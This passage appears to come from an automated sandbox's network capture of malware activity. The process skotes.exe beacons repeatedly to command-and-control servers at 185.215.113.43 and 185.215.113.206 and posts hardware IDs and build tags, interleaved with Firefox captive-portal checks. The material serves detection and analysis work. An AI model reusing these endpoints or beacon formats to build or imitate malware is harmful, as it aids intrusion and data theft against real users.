------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"tale------CBAFCAKEHDHDHIDHDGDH--
Oct 31, 2024 05:07:54.648966074 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50058	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:55.984970093 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 05:07:56.874475956 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50061	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:58.595249891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 05:07:59.515258074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50062	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:01.066632032 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 05:08:01.962119102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50064	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:03.690818071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 05:08:04.589926004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50068	34.107.221.82	80	3964	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:05.460405111 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:06.053045988 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85012 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50072	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:06.117463112 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 05:08:07.022125006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	50077	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:10.415919065 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 05:08:11.326807022 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:08:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 05:08:11.345592976 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="build"tale------GCBGCGHDGIEGCBFIEGCB--
Oct 31, 2024 05:08:11.631215096 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:08:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	50080	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:10.665498972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:11.262444019 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85040 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 05:08:11.266166925 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:11.393413067 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85040 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	50081	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:10.665678024 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:11.254296064 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85018 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50088	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:23.941519976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:24.528042078 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85031 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 05:08:24.772095919 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:24.894902945 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85031 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50099	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:24.545941114 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50106	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:24.903681993 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:25.498694897 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85054 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 05:08:25.686696053 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:25.810851097 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85054 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 05:08:25.975353956 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:26.100611925 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85055 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 05:08:26.184082985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:26.308569908 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85055 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 05:08:30.593730927 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:30.718116045 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85059 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 05:08:40.820972919 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 05:08:41.249036074 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 05:08:41.374294043 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 85070 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50108	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:25.084047079 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:25.679994106 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85032 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 05:08:25.845379114 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:25.969796896 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85032 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 05:08:26.051105022 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:26.176352978 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85033 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 05:08:30.456680059 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:30.583033085 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85037 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 05:08:40.632219076 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 05:08:41.101825953 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 05:08:41.241283894 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 85048 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	50111	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:08:28.059784889 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 05:08:28.999603033 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:08:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 05:08:29.002223969 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; 